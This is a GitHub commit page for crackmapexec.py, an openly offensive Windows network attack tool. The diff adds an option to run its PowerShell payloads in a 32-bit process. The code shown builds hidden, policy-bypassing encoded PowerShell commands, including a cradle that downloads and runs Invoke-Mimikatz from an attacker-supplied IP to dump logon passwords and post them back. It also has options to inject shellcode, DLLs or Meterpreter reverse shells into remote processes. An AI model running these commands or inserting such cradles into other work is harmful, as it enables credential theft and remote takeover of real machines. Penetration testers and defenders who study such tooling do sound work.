Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit f216354

Browse files
author
byt3bl33d3r
committed
Added option to force all Powershell code/commands to run in a 32bit process
1 parent e48fc47 commit f216354

File tree

1 file changed

+15
-6
lines changed

1 file changed

+15
-6
lines changed

crackmapexec.py

Lines changed: 15 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2642,6 +2642,7 @@ def _listShares(smb):
26422642
return permissions
26432643

26442644
def ps_command(command=None, katz_ip=None, katz_command='privilege::debug sekurlsa::logonpasswords exit'):
2645+
26452646
if katz_ip:
26462647
command = """
26472648
IEX (New-Object Net.WebClient).DownloadString('http://{addr}/Invoke-Mimikatz.ps1');
@@ -2657,7 +2658,14 @@ def ps_command(command=None, katz_ip=None, katz_command='privilege::debug sekurl
26572658
$request.GetResponse();
26582659
""".format(addr=katz_ip, katz_command=katz_command)
26592660

2660-
return b64encode(command.encode('UTF-16LE'))
2661+
if args.force_ps32:
2662+
command = 'IEX "$Env:windir\\SysWOW64\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE')))
2663+
2664+
base64_command = b64encode(command.encode('UTF-16LE'))
2665+
2666+
ps_command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64_command)
2667+
2668+
return ps_command
26612669

26622670
def inject_pscommand(localip):
26632671

@@ -2865,18 +2873,18 @@ def connect(host):
28652873

28662874
if args.mimikatz:
28672875
noOutput = True
2868-
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(katz_ip=local_ip))
2876+
args.command = ps_command(katz_ip=local_ip)
28692877

28702878
if args.mimi_cmd:
28712879
noOutput = True
2872-
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(katz_ip=local_ip, katz_command=args.mimi_cmd))
2880+
args.command = ps_command(katz_ip=local_ip, katz_command=args.mimi_cmd)
28732881

28742882
if args.pscommand:
2875-
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(command=args.pscommand))
2883+
args.command = ps_command(command=args.pscommand)
28762884

28772885
if args.inject:
28782886
noOutput = True
2879-
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(inject_pscommand(local_ip))
2887+
args.command = inject_pscommand(local_ip)
28802888

28812889
if args.command:
28822890

@@ -3006,12 +3014,13 @@ def concurrency(hosts):
30063014

30073015
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
30083016
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="smbexec", help="Method to execute the command (default: smbexec)")
3017+
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Force all PowerShell code/commands to run in a 32bit process')
30093018
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
30103019
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
30113020

30123021
xgroup = parser.add_argument_group("Shellcode/EXE/DLL/Meterpreter Injection", "Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell")
30133022
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll', 'met_reverse_https', 'met_reverse_http'}, help='Inject Shellcode, EXE, DLL or Meterpreter')
3014-
xgroup.add_argument("--path", type=str, help='Path to the Shellcode/EXE/DLL you want to inject on the target systems')
3023+
xgroup.add_argument("--path", type=str, help='Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter)')
30153024
xgroup.add_argument('--procid', type=int, help='Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)')
30163025
xgroup.add_argument("--exeargs", type=str, help='Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)')
30173026
xgroup.add_argument("--met-options", nargs=2, metavar=('LHOST', 'LPORT'), dest='met_options', help='Meterpreter options (ignored if not injecting Meterpreter)')

0 commit comments

Comments
 (0)